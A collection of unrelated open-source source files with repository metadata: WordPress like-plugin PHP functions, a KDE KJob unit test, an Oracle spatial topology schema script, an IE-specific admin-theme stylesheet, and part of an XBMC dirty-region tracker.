*
* @author Alimir
* @since 2.3
* @return Void
*/
add_action('um_profile_content_wp-ulike-comments_default', 'wp_ulike_comments_um_profile_content');
function wp_ulike_comments_um_profile_content( $args ) {
global $wp_ulike_class,$ultimatemember;
$args = array(
"user_id" => um_profile_id(), //User ID
"col" => 'comment_id', //Table Column (post_id,comment_id,activity_id,topic_id)
"table" => 'ulike_comments', //Table Name
"limit" => 10, //limit Number
);
$user_logs = $wp_ulike_class->get_current_user_likes($args);
if($user_logs != null){
echo '<div class="um-profile-note"><span>'. __('Recent Comments Liked','alimir').'</span></div>';
foreach ($user_logs as $user_log) {
$comment = get_comment(stripslashes($user_log->comment_id));
$get_date = $user_log->date_time;
echo '<div class="um-item">';
echo '<div class="um-item-link">
<i class="um-icon-ios-chatboxes"></i>
<a href="'.get_comment_link($comment->comment_ID).'">'.$comment->comment_content .'</a>
<em style="font-size:.7em;padding:0 10px;"><span class="um-faicon-quote-left"></span> '.$comment->comment_author.' <span class="um-faicon-quote-right"></span></em>
</div>';
echo '<div class="um-item-meta">
<span>'.wp_ulike_date_i18n($get_date).'</span>
<span class="badge"><i class="um-faicon-thumbs-o-up"></i> '.get_comment_meta( $comment->comment_ID, '_commentliked', true ).'</span>
</div>';
echo '</div>';
}
} else echo '<div style="display: block;" class="um-profile-note"><i class="um-faicon-frown-o"></i><span>'. __('This user has not made any likes.','alimir').'</span></div>';
}
}
/*******************************************************
General Functions
*******************************************************/
//Create global variable of user IP
global $wp_user_IP;
$wp_user_IP = wp_ulike_get_real_ip();
/**
* Get the real IP
*
* @author Alimir
* @since 1.1
* @return Void
*/
function wp_ulike_get_real_ip() {
if (getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} elseif (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('HTTP_X_FORWARDED')) {
$ip = getenv('HTTP_X_FORWARDED');
} elseif (getenv('HTTP_FORWARDED_FOR')) {
$ip = getenv('HTTP_FORWARDED_FOR');
} elseif (getenv('HTTP_FORWARDED')) {
$ip = getenv('HTTP_FORWARDED');
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
/**
* Get custom style setting from customize options
*
* @author Alimir
* @since 1.3
* @updated 2.3
* @return Void (Print new CSS styles)
*/
function wp_ulike_get_custom_style(){
$btn_style = '';
$counter_style = '';
$customstyle = '';
$customloading = '';
$return_style = '';
//get custom icons
$getlikeicon = wp_ulike_get_setting( 'wp_ulike_general', 'button_url' );
$getlikeurl = wp_get_attachment_url( $getlikeicon );
$getunlikeicon = wp_ulike_get_setting( 'wp_ulike_general', 'button_url_u' );
$getunlikeurl = wp_get_attachment_url( $getunlikeicon );
if(wp_ulike_get_setting( 'wp_ulike_customize', 'custom_style') == '1'){
//get custom options
$customstyle = get_option( 'wp_ulike_customize' );
//button style
$btn_bg = $customstyle['btn_bg'];
$btn_border = $customstyle['btn_border'];
$btn_color = $customstyle['btn_color'];
//counter style
$counter_bg = $customstyle['counter_bg'];
$counter_border = $customstyle['counter_border'];
$counter_color = $customstyle['counter_color'];
//Loading animation
$customloading = $customstyle['loading_animation'];
$loadingurl = wp_get_attachment_url( $customloading );
$custom_css = $customstyle['custom_css'];
if($btn_bg != ''){
$btn_style .= "background-color:$btn_bg;";
}
if($btn_border != ''){
$btn_style .= "border-color:$btn_border; ";
}
if($btn_color != ''){
$btn_style .= "color:$btn_color;text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.3);";
}
if($counter_bg != ''){
$counter_style .= "background-color:$counter_bg; ";
}
if($counter_border != ''){
$counter_style .= "border-color:$counter_border; ";
}
if($counter_color != ''){
$counter_style .= "color:$counter_color;";
}
if($counter_color != ''){
$before_style .= "border-color:transparent; border-bottom-color:$counter_border; border-left-color:$counter_border;";
}
}
if($getlikeicon != '' || $getunlikeicon != '' || $customstyle != ''){
if($getlikeicon != ''){
$return_style .= '
.wpulike .counter a.image {
background-image: url('.$getlikeurl.') !important;
}
.wpulike-heart .counter a.image:hover {
background-image: url('.$getlikeurl.') !important;
}
';
}
if($getunlikeicon != ''){
$return_style .= '
.wpulike .counter a.image-unlike {
background-image: url('.$getunlikeurl.') !important;
}
.wpulike-heart .counter a.image-unlike:hover {
background-image: url('.$getunlikeurl.') !important;
}
';
}
if($customloading != ''){
$return_style .= '
.wpulike .counter a.loading {
background-image: url('.$loadingurl.') !important;
}
';
}
if($btn_style != ''){
$return_style .= "
.wpulike-default .counter a{
$btn_style
}
.wpulike-heart .counter{
$btn_style
}
";
}
if($counter_style != ''){
$return_style .= "
.wpulike-default .count-box,.wpulike-default .count-box:before{
$counter_style
}
.wpulike-default .count-box:before{
$before_style
} ";
}
if($custom_css != ''){
$return_style .= $custom_css;
}
}
return $return_style;
}
/**
* Convert numbers of Likes with string (kilobyte) format
*
* @author Alimir
* @param Integer $num (get like number)
* @since 1.5
* @updated 2.0
* @return String
*/
function wp_ulike_format_number($num){
$plus = $num != 0 ? '+' : '';
if ($num >= 1000 && wp_ulike_get_setting( 'wp_ulike_general', 'format_number' ) == '1')
$value = round($num/1000, 2) . 'K' . $plus;
else
$value = $num . $plus;
$value = apply_filters( 'wp_ulike_format_number', $value, $num, $plus);
return $value;
}
/**
* Date in localized format
*
* @author Alimir
* @param String (Date)
* @since 2.3
* @return String
*/
function wp_ulike_date_i18n($date){
return date_i18n(get_option( 'date_format' ) . ' @ ' . get_option( 'time_format' ), strtotime($date) );
}
/*******************************************************
WP ULike Class
*******************************************************/
include( plugin_dir_path(__FILE__) . 'classes/class-ulike.php');
|
poweronio/mbsite
|
wp-content/plugins/wp-ulike/inc/wp-functions.php
|
PHP
|
gpl-2.0
| 19,845
|
/* This file is part of the KDE project
Copyright (C) 2006 Kevin Ottens <ervin@kde.org>
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Library General Public
License version 2 as published by the Free Software Foundation.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Library General Public License for more details.
You should have received a copy of the GNU Library General Public License
along with this library; see the file COPYING.LIB. If not, write to
the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
Boston, MA 02110-1301, USA.
*/
#include "kjobtest.h"
#include "qtest_kde.h"
#include <QtCore/QTimer>
#include <QtTest/QSignalSpy>
QTEST_KDEMAIN_CORE( KJobTest )
KJobTest::KJobTest()
: loop( this )
{
}
void KJobTest::testEmitResult_data()
{
QTest::addColumn<int>("errorCode");
QTest::addColumn<QString>("errorText");
QTest::newRow("no error") << (int)KJob::NoError << QString();
QTest::newRow("error no text") << 2 << QString();
QTest::newRow("error with text") << 6 << "oops! an error? naaah, really?";
}
void KJobTest::testEmitResult()
{
TestJob *job = new TestJob;
connect( job, SIGNAL( result( KJob* ) ),
this, SLOT( slotResult( KJob* ) ) );
QFETCH(int, errorCode);
QFETCH(QString, errorText);
job->setError( errorCode );
job->setErrorText( errorText );
QSignalSpy destroyed_spy( job, SIGNAL( destroyed( QObject* ) ) );
job->start();
loop.exec();
QCOMPARE( m_lastError, errorCode );
QCOMPARE( m_lastErrorText, errorText );
// Verify that the job is not deleted immediately...
QCOMPARE( destroyed_spy.size(), 0 );
QTimer::singleShot( 0, &loop, SLOT( quit() ) );
// ... but when we enter the event loop again.
loop.exec();
QCOMPARE( destroyed_spy.size(), 1 );
}
Q_DECLARE_METATYPE(KJob*)
void KJobTest::testProgressTracking()
{
TestJob *testJob = new TestJob;
KJob *job = testJob;
qRegisterMetaType<KJob*>("KJob*");
qRegisterMetaType<qulonglong>("qulonglong");
QSignalSpy processed_spy( job, SIGNAL( processedAmount( KJob*, KJob::Unit, qulonglong ) ) );
QSignalSpy total_spy( job, SIGNAL( totalAmount( KJob*, KJob::Unit, qulonglong ) ) );
QSignalSpy percent_spy( job, SIGNAL( percent( KJob*, unsigned long ) ) );
/* Process a first item. Corresponding signal should be emitted.
* Total size didn't change.
* Since the total size is unknown, no percent signal is emitted.
*/
testJob->setProcessedSize( 1 );
QCOMPARE( processed_spy.size(), 1 );
QCOMPARE( processed_spy.at( 0 ).at( 0 ).value<KJob*>(), static_cast<KJob*>(job) );
QCOMPARE( processed_spy.at( 0 ).at( 2 ).value<qulonglong>(), ( qulonglong )1 );
QCOMPARE( total_spy.size(), 0 );
QCOMPARE( percent_spy.size(), 0 );
/* Now, we know the total size. It's signaled.
* The new percentage is signaled too.
*/
testJob->setTotalSize( 10 );
QCOMPARE( processed_spy.size(), 1 );
QCOMPARE( total_spy.size(), 1 );
QCOMPARE( total_spy.at( 0 ).at( 0 ).value<KJob*>(), job );
QCOMPARE( total_spy.at( 0 ).at( 2 ).value<qulonglong>(), ( qulonglong )10 );
QCOMPARE( percent_spy.size(), 1 );
QCOMPARE( percent_spy.at( 0 ).at( 0 ).value<KJob*>(), job );
QCOMPARE( percent_spy.at( 0 ).at( 1 ).value<unsigned long>(), ( unsigned long )10 );
/* We announce a new percentage by hand.
* Total, and processed didn't change, so no signal is emitted for them.
*/
testJob->setPercent( 15 );
QCOMPARE( processed_spy.size(), 1 );
QCOMPARE( total_spy.size(), 1 );
QCOMPARE( percent_spy.size(), 2 );
QCOMPARE( percent_spy.at( 1 ).at( 0 ).value<KJob*>(), job );
QCOMPARE( percent_spy.at( 1 ).at( 1 ).value<unsigned long>(), ( unsigned long )15 );
/* We make some progress.
* Processed size and percent are signaled.
*/
testJob->setProcessedSize( 3 );
QCOMPARE( processed_spy.size(), 2 );
QCOMPARE( processed_spy.at( 1 ).at( 0 ).value<KJob*>(), job );
QCOMPARE( processed_spy.at( 1 ).at( 2 ).value<qulonglong>(), ( qulonglong )3 );
QCOMPARE( total_spy.size(), 1 );
QCOMPARE( percent_spy.size(), 3 );
QCOMPARE( percent_spy.at( 2 ).at( 0 ).value<KJob*>(), job );
QCOMPARE( percent_spy.at( 2 ).at( 1 ).value<unsigned long>(), ( unsigned long )30 );
/* We set a new total size, but equals to the previous one.
* No signal is emitted.
*/
testJob->setTotalSize( 10 );
QCOMPARE( processed_spy.size(), 2 );
QCOMPARE( total_spy.size(), 1 );
QCOMPARE( percent_spy.size(), 3 );
/* We 'lost' the previous work done.
* Signals both percentage and new processed size.
*/
testJob->setProcessedSize( 0 );
QCOMPARE( processed_spy.size(), 3 );
QCOMPARE( processed_spy.at( 2 ).at( 0 ).value<KJob*>(), job );
QCOMPARE( processed_spy.at( 2 ).at( 2 ).value<qulonglong>(), ( qulonglong )0 );
QCOMPARE( total_spy.size(), 1 );
QCOMPARE( percent_spy.size(), 4 );
QCOMPARE( percent_spy.at( 3 ).at( 0 ).value<KJob*>(), job );
QCOMPARE( percent_spy.at( 3 ).at( 1 ).value<unsigned long>(), ( unsigned long )0 );
/* We process more than the total size!?
* Signals both percentage and new processed size.
* Percentage is 150%
*
* Might sounds weird, but verify that this case is handled gracefully.
*/
testJob->setProcessedSize( 15 );
QCOMPARE( processed_spy.size(), 4 );
QCOMPARE( processed_spy.at( 3 ).at( 0 ).value<KJob*>(), job );
QCOMPARE( processed_spy.at( 3 ).at( 2 ).value<qulonglong>(), ( qulonglong )15 );
QCOMPARE( total_spy.size(), 1 );
QCOMPARE( percent_spy.size(), 5 );
QCOMPARE( percent_spy.at( 4 ).at( 0 ).value<KJob*>(), job );
QCOMPARE( percent_spy.at( 4 ).at( 1 ).value<unsigned long>(), ( unsigned long )150 );
delete job;
}
void KJobTest::testExec_data()
{
QTest::addColumn<int>("errorCode");
QTest::addColumn<QString>("errorText");
QTest::newRow("no error") << (int)KJob::NoError << QString();
QTest::newRow("error no text") << 2 << QString();
QTest::newRow("error with text") << 6 << "oops! an error? naaah, really?";
}
void KJobTest::testExec()
{
TestJob *job = new TestJob;
QFETCH(int, errorCode);
QFETCH(QString, errorText);
job->setError( errorCode );
job->setErrorText( errorText );
QSignalSpy destroyed_spy( job, SIGNAL( destroyed( QObject* ) ) );
bool status = job->exec();
QCOMPARE( status, ( errorCode == KJob::NoError ) );
QCOMPARE( job->error(), errorCode );
QCOMPARE( job->errorText(), errorText );
// Verify that the job is not deleted immediately...
QCOMPARE( destroyed_spy.size(), 0 );
QTimer::singleShot( 0, &loop, SLOT( quit() ) );
// ... but when we enter the event loop again.
loop.exec();
QCOMPARE( destroyed_spy.size(), 1 );
}
void KJobTest::testKill_data()
{
QTest::addColumn<int>("killVerbosity");
QTest::addColumn<int>("errorCode");
QTest::addColumn<QString>("errorText");
QTest::addColumn<int>("resultEmitCount");
QTest::addColumn<int>("finishedEmitCount");
QTest::newRow("killed with result") << (int)KJob::EmitResult
<< (int)KJob::KilledJobError
<< QString()
<< 1
<< 1;
QTest::newRow("killed quietly") << (int)KJob::Quietly
<< (int)KJob::KilledJobError
<< QString()
<< 0
<< 1;
}
void KJobTest::testKill()
{
TestJob *job = new TestJob;
connect( job, SIGNAL( result( KJob* ) ),
this, SLOT( slotResult( KJob* ) ) );
connect( job, SIGNAL( finished( KJob* ) ),
this, SLOT( slotFinished( KJob* ) ) );
m_lastError = KJob::NoError;
m_lastErrorText.clear();
m_resultCount = 0;
m_finishedCount = 0;
QFETCH(int, killVerbosity);
QFETCH(int, errorCode);
QFETCH(QString, errorText);
QFETCH(int, resultEmitCount);
QFETCH(int, finishedEmitCount);
QSignalSpy destroyed_spy( job, SIGNAL( destroyed( QObject* ) ) );
job->kill( ( KJob::KillVerbosity )killVerbosity );
loop.processEvents( QEventLoop::AllEvents, 2000 );
QCOMPARE( m_lastError, errorCode );
QCOMPARE( m_lastErrorText, errorText );
QCOMPARE( job->error(), errorCode );
QCOMPARE( job->errorText(), errorText );
QCOMPARE(m_resultCount, resultEmitCount);
QCOMPARE(m_finishedCount, finishedEmitCount);
// Verify that the job is not deleted immediately...
QCOMPARE( destroyed_spy.size(), 0 );
QTimer::singleShot( 0, &loop, SLOT( quit() ) );
// ... but when we enter the event loop again.
loop.exec();
QCOMPARE( destroyed_spy.size(), 1 );
}
void KJobTest::testDelegateUsage()
{
TestJob *job1 = new TestJob;
TestJob *job2 = new TestJob;
TestJobUiDelegate *delegate = new TestJobUiDelegate;
QVERIFY( job1->uiDelegate()==0 );
job1->setUiDelegate( delegate );
QVERIFY( job1->uiDelegate()==delegate );
QVERIFY( job2->uiDelegate()==0 );
job2->setUiDelegate( delegate );
QVERIFY( job2->uiDelegate()==0 );
}
void KJobTest::testNestedExec()
{
m_innerJob = 0;
QTimer::singleShot( 100, this, SLOT( slotStartInnerJob() ) );
m_outerJob = new WaitJob();
m_outerJob->exec();
}
void KJobTest::slotStartInnerJob()
{
QTimer::singleShot( 100, this, SLOT( slotFinishOuterJob() ) );
m_innerJob = new WaitJob();
m_innerJob->exec();
}
void KJobTest::slotFinishOuterJob()
{
QTimer::singleShot( 100, this, SLOT( slotFinishInnerJob() ) );
m_outerJob->makeItFinish();
}
void KJobTest::slotFinishInnerJob()
{
m_innerJob->makeItFinish();
}
void KJobTest::slotResult( KJob *job )
{
if ( job->error() )
{
m_lastError = job->error();
m_lastErrorText = job->errorText();
}
else
{
m_lastError = KJob::NoError;
m_lastErrorText.clear();
}
m_resultCount++;
loop.quit();
}
void KJobTest::slotFinished(KJob *job)
{
if (job->error()) {
m_lastError = job->error();
m_lastErrorText = job->errorText();
} else {
m_lastError = KJob::NoError;
m_lastErrorText.clear();
}
m_finishedCount++;
}
TestJob::TestJob() : KJob()
{
}
TestJob::~TestJob()
{
}
void TestJob::start()
{
QTimer::singleShot( 0, this, SLOT( doEmit() ) );
}
bool TestJob::doKill()
{
return true;
}
void TestJob::setError( int errorCode )
{
KJob::setError( errorCode );
}
void TestJob::setErrorText( const QString &errorText )
{
KJob::setErrorText( errorText );
}
void TestJob::setProcessedSize( qulonglong size )
{
KJob::setProcessedAmount( KJob::Bytes, size );
}
void TestJob::setTotalSize( qulonglong size )
{
KJob::setTotalAmount( KJob::Bytes, size );
}
void TestJob::setPercent( unsigned long percentage )
{
KJob::setPercent( percentage );
}
void TestJob::doEmit()
{
emitResult();
}
void WaitJob::start()
{
}
void WaitJob::makeItFinish()
{
emitResult();
}
void TestJobUiDelegate::connectJob( KJob *job )
{
QVERIFY( job->uiDelegate()!=0 );
}
#include "kjobtest.moc"
|
vasi/kdelibs
|
kdecore/tests/kjobtest.cpp
|
C++
|
gpl-2.0
| 11,547
|
-- create network topology tables
set serveroutput on size 1000000
set trimspool on
set long 5000
set linesize 123
set pagesize 9999
set numwidth 15
set timing on
set termout on
set wrap off;
/*
ïîñòðîèòü òîïîëîãè÷åñêóþ ñåòü:
pipegeom - òðóáû
boilgeom - óçëû, ïîòðåáèòåëè, çàäâèæêè
boltgeom - óçëû, çàäâèæêè
grpgeom - óçëû, ïîòðåáèòåëè, çàäâèæêè
grsgeom - óçëû, èñòî÷íèêè, çàäâèæêè
*/
drop sequence seqtopoapps;
create sequence seqtopoapps;
drop table toponode;
create table toponode (
id number, -- id óíèêàëüíûé àéäè óçëà â òîïîñåòè
x number, -- lon x êîîðäèíàòà
y number, -- lat y êîîðäèíàòà
type varchar2(10), -- type òèï óçëà - GRS, GRP, BOIL, BOLT, JUNC (ÒðóáîÑîåäèíèòåëü), END (õâîñò òðóáû)...
objid number, -- objid àéäè îáüåêòà ïðåäñòàâëÿåìîãî óçëîì. íàïðèìåð àéäè ÃÐÑ, åñëè óçåë ïðåäñòàâëÿåò ÃÐÑ.
-- active varchar2(1) default 'Y' -- active y/n àêòèâåí èëè íåò. ó÷àñòâóåò â ñåòè èëè íåò.
active varchar2(1) -- active y/n àêòèâåí èëè íåò. ó÷àñòâóåò â ñåòè èëè íåò.
);
ALTER TABLE toponode ADD CONSTRAINT pk_toponode PRIMARY KEY(id);
-- drop index idx_toponodecoord;
-- create unique index idx_toponodecoord on toponode(x, y);
drop table topolink;
create table topolink (
id number, -- id óíèêàëüíûé àéäè ëèíêà â ñåòè
startnodeid number, -- startnodeid àéäè óçëà îòêóäà ëèíê âûõîäèò
endnodeid number, -- endnodeid àéäè óçëà êóäà ïðèõîäèò
-- type varchar2(10) default 'PART', -- type WHOLE, PART, òèï ëèíêà. íàïðèìåð ñîñòàâíîé èëè îäèí ê îäíîìó ñîîòâåòñòâóåò òðóáå.
type varchar2(10), -- type WHOLE, PART, òèï ëèíêà. íàïðèìåð ñîñòàâíîé èëè îäèí ê îäíîìó ñîîòâåòñòâóåò òðóáå.
objid number, -- objid àéäè îáüåêòà, òðóáû.
-- active varchar2(1) default 'Y', -- active ó÷àñòâóåò â ñåòè èëè íåò.
active varchar2(1), -- active ó÷àñòâóåò â ñåòè èëè íåò.
GEOM MDSYS.SDO_GEOMETRY
);
alter table topolink add constraint pk_topolink primary key(id);
-- create index idxtopolinknodes on topolink(startnodeid, endnodeid);
DELETE FROM USER_SDO_GEOM_METADATA WHERE TABLE_NAME = 'TOPOLINK' AND COLUMN_NAME = 'GEOM' ;
INSERT INTO USER_SDO_GEOM_METADATA (TABLE_NAME, COLUMN_NAME, DIMINFO, SRID)
VALUES ( 'TOPOLINK', 'GEOM', MDSYS.SDO_DIM_ARRAY (
MDSYS.SDO_DIM_ELEMENT('X', 33.000000000, 41.000000000, 0.000000100),
MDSYS.SDO_DIM_ELEMENT('Y', 53.000000000, 58.000000000, 0.000000100) ),
NULL);
EXECUTE SDO_MIGRATE.TO_CURRENT('TOPOLINK','GEOM');
select count(*) from (
SELECT p.id, SDO_GEOM.VALIDATE_GEOMETRY_WITH_CONTEXT(p.geom, 0.0000001) as vld
FROM topolink p where p.id > 0
) where vld <> 'TRUE';
CREATE INDEX idxspat_topolink ON topolink (geom) INDEXTYPE IS MDSYS.SPATIAL_INDEX;
drop table toposrc;
create table toposrc (
objtype varchar2(10), -- type òèï òîïîîáüåêòà NODE, LINK
objid number, -- id àéäè òîïîîáüåêòà èç ñîîòâ. òàáëèöû óçëîâ èëè ëèíêîâ
srcid number -- id àéäè NODE, îò êîòîðîãî ïèòàåòñÿ îáüåêò (ìîæåò ïèòàòüñÿ, ãàç äîòåêàåò) (â íàøåì ñëó÷àå òîëüêî ÃÐÑ ìîãóò áûòü èñòî÷íèêàìè)
);
create unique index idx_toposrc on toposrc (objtype, objid, srcid);
COMMIT;
|
vasnake/als
|
oracle/create.topo.net.01.sql
|
SQL
|
gpl-2.0
| 3,077
|
.sidebar {
*left: 0;
}
.sidebar:before {
display: none;
}
.ace-nav > li.white-opaque {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#CCFFFFFF',endColorstr='#CCFFFFFF',GradientType=0);
}
.ace-nav > li.dark-opaque {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#33000000',endColorstr='#33000000',GradientType=0);
}
.infobox > .infobox-icon > [class*="icon-"]:before {
color: #FFF;
}
.infobox-dark > .badge {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#33FFFFFF',endColorstr='#33FFFFFF',GradientType=0)!important;
}
.widget-box-overlay {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#55000000',endColorstr='#55000000',GradientType=0)!important;
}
.widget-toolbar-light {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#D8FFFFFF',endColorstr='#D8FFFFFF',GradientType=0)!important;
}
input[type=checkbox].ace, input[type=radio].ace {
position: static;
width: auto;
height: auto;
z-index: auto;
}
input[type=checkbox].ace + .lbl, input[type=radio].ace + .lbl {
min-height: auto;
min-width: auto;
}
input[type=checkbox].ace.ace-switch {
width: auto;
}
input[type=checkbox].ace.ace-switch + .lbl {
margin: 0;
min-height: auto;
}
input[type=checkbox].ace.ace-switch-7 {
width: auto;
}
.ace-file-input input[type=file] {
width: 100%;
height: 30px;
position: absolute;
z-index: 1;
filter: alpha(opacity=0);
cursor: pointer;
}
.ace-file-input input[type=file]:hover + .file-label {
border-color: #f59942;
}
.ace-file-multiple input[type=file] {
height: 100%;
}
.ace-file-input .remove {
z-index: 2;
}
.ace-file-input .file-label.selected .file-name {
width: 50%;
}
.ace-file-multiple .file-label.selected .file-name {
width: auto;
}
.wizard-steps li:first-child:before {
max-width: 100%;
left: 0;
}
.login-layout .widget-box {
display: none;
visibility: visible;
position: static;
}
.login-layout .widget-box.visible {
display: block;
}
.pricing-box-small:hover {
zoom: 1.04;
left: -1px;
top: -3px;
}
.ace-thumbnails > li > a > img {
width: auto!important;
}
.ace-thumbnails > li > :first-child > .text {
display: none;
}
.ace-thumbnails > li:hover > :first-child > .text {
display: block;
}
.ace-thumbnails > li > .tools {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#8C000000',endColorstr='#8C000000',GradientType=0)!important;
}
.ace-thumbnails > li > :first-child > .text {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#8C000000',endColorstr='#8C000000',GradientType=0)!important;
}
#cboxLoadingGraphic > [class*="icon-"] {
display: inline-block;
background: #FFF url('images/loading.gif') no-repeat center;
}
#cboxLoadingGraphic > [class*="icon-"]:before {
display: none;
}
.widget-box-overlay > [class*="icon-"] {
display: inline-block;
width: 24px;
height: 24px;
margin-left: 46%;
background: transparent url('images/loading.gif') no-repeat center;
}
.widget-box-overlay > [class*="icon-"]:before {
display: none;
}
.btn.btn-app.btn-light {
border: 1px solid #d9d9d9;
}
.btn.btn-app.btn-yellow {
border: 1px solid #fee188;
}
.grid3 {
width: 31%;
}
.grid4 {
width: 23%;
}
.itemdiv.dialogdiv > .body:before {
display: none;
}
.fc-event-hori, .fc-event-vert {
border: none!important;
}
[class*="tab-color-"] .nav-tabs > li > a > [class*="icon-"]:first-child {
color: #666!important;
}
.dropdown-preview > .dropdown-menu {
*width: 180px;
}
.ui-datepicker, .ui-autocomplete, .ui-menu {
border: 1px solid #CCC;
}
.ui-widget-overlay {
filter: alpha(opacity=100)!important;
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#44000000',endColorstr='#44000000',GradientType=0)!important;
}
.message-content {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#CCFFFFFF',endColorstr='#CCFFFFFF',GradientType=0)!important;
}
.gritter-item-wrapper {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#EA323232',endColorstr='#EA323232',GradientType=0)!important;
}
.gritter-item-wrapper.gritter-info {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#EA315185',endColorstr='#EA315185',GradientType=0)!important;
}
.gritter-item-wrapper.gritter-error {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#EA992812',endColorstr='#EA992812',GradientType=0)!important;
}
.gritter-item-wrapper.gritter-success {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#EA59834B',endColorstr='#EA59834B',GradientType=0)!important;
}
.gritter-item-wrapper.gritter-warning {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#EABE701F',endColorstr='#EABE701F',GradientType=0)!important;
}
.gritter-item-wrapper.gritter-light {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#F2F5F5F5',endColorstr='#F2F5F5F5',GradientType=0)!important;
}
.gritter-info.gritter-light {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#F2E8F2FF',endColorstr='#F2E8F2FF',GradientType=0)!important;
}
.gritter-error.gritter-light {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#F2FFEBEB',endColorstr='#F2FFEBEB',GradientType=0)!important;
}
.gritter-success.gritter-light {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#F2EFFAE3',endColorstr='#F2EFFAE3',GradientType=0)!important;
}
.gritter-warning.gritter-light {
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#F2FCF8E3',endColorstr='#F2FCF8E3',GradientType=0)!important;
}
.widget-header .wysiwyg-toolbar .btn-group > .btn, .widget-body .md-header .btn {
background: transparent none!important;
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#40FFFFFF',endColorstr='#40FFFFFF',GradientType=0)!important;
}
.widget-header .wysiwyg-toolbar .btn-group > .btn.active, .widget-body .md-header .btn-inverse {
background: transparent none!important;
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#40000000',endColorstr='#40000000',GradientType=0)!important;
}
.widget-body .md-header .btn, .widget-body .md-header .btn-inverse {
display: none;
}
body.skin-3, .skin-3 .sidebar {
background-color: #d6d6d6;
}
.skin-3 .menu-min .nav-list > li.active > a {
background-color: #eef8ff;
}
body.skin-2, .skin-2 .sidebar {
background-color: #505050;
}
.skin-2 .nav-list > li:hover > a > span {
color: #FFF;
}
.skin-2 .nav-list > li:hover > a > [class*="icon-"]:first-child {
color: #FFF;
}
.skin-2 .menu-min .nav-list > li > a:hover > [class*="icon-"]:first-child {
color: #FFF;
}
.rtl .nav-list li.active > a:after {
border-left-color: transparent;
border-right-color: #0b6cbc;
}
.rtl.skin-1 .nav-list li.active > a:after {
border-right-color: #FFF;
border-left-color: transparent;
}
.rtl.skin-1 .menu-min .nav-list li.active:hover > a:after {
border-right-color: #242a2b;
}
.rtl.skin-2 .nav-list li.active > a:after {
border-right-color: #FFF;
border-left-color: transparent;
}
.rtl.skin-2 .menu-min .nav-list li.active:hover > a:after {
border-right-color: #292929;
border-left-color: transparent;
}
.rtl.skin-2 .nav-list li.active.open > .submenu > li.active > a:after {
border-right-color: #FFF;
border-left-color: transparent;
}
.rtl.skin-3 .nav-list li.active > a:after {
border-right-color: #FFF;
border-left-color: transparent;
}
.rtl.skin-3 .nav-list li.active > a:before {
border-right-color: #a4c6dd;
border-left-color: transparent;
}
|
DonnotRain/NoRainWeb
|
Code/NoRain.MainWeb/BackAssets/css/ace-ie.min.css
|
CSS
|
gpl-2.0
| 8,006
|
/*
* Copyright (C) 2005-2011 Team XBMC
* http://www.xbmc.org
*
* This Program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any later version.
*
* This Program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with XBMC; see the file COPYING. If not, write to
* the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA.
* http://www.gnu.org/copyleft/gpl.html
*
*/
#include "DirtyRegionTracker.h"
#include "settings/AdvancedSettings.h"
#include "utils/log.h"
#include <stdio.h>
CDirtyRegionTracker::CDirtyRegionTracker(int buffering)
{
m_buffering = buffering;
m_solver = NULL;
}
CDirtyRegionTracker::~CDirtyRegionTracker()
{
delete m_solver;
}
void CDirtyRegionTracker::SelectAlgorithm()
{
delete m_solver;
switch (g_advancedSettings.m_guiAlgorithmDirtyRegions)
{
case DIRTYREGION_SOLVER_UNION:
m_solver = new CUnionDirtyRegionSolver();
CLog::Log(LOGDEBUG, "guilib: Union as algorithm for solving rendering passes");
break;
case DIRTYREGION_SOLVER_COST_REDUCTION:
CLog::Log(LOGDEBUG, "guilib: Cost reduction as algorithm for solving rendering passes");
m_solver = new CGreedyDirtyRegionSolver();
break;
case DIRTYREGION_SOLVER_NONE:
default:
CLog::Log(LOGDEBUG, "guilib: No algorithm for solving rendering passes");
m_solver = new CFillViewportRegionSolver();
break;
}
}
void CDirtyRegionTracker::MarkDirtyRegion(const CDirtyRegion ®ion)
{
if (!region.IsEmpty())
m_markedRegions.push_back(region);
}
const CDirtyRegionList &CDirtyRegionTracker::GetMarkedRegions() const
{
return m_markedRegions;
}
CDirtyRegionList CDirtyRegionTracker::GetDirtyRegions()
{
CDirtyRegionList output;
if (m_solver)
m_solver->Solve(m_markedRegions, output);
return output;
}
void CDirtyRegionTracker::CleanMarkedRegions()
{
int buffering = g_advancedSettings.m_guiVisualizeDirtyRegions ? 20 : m_buffering;
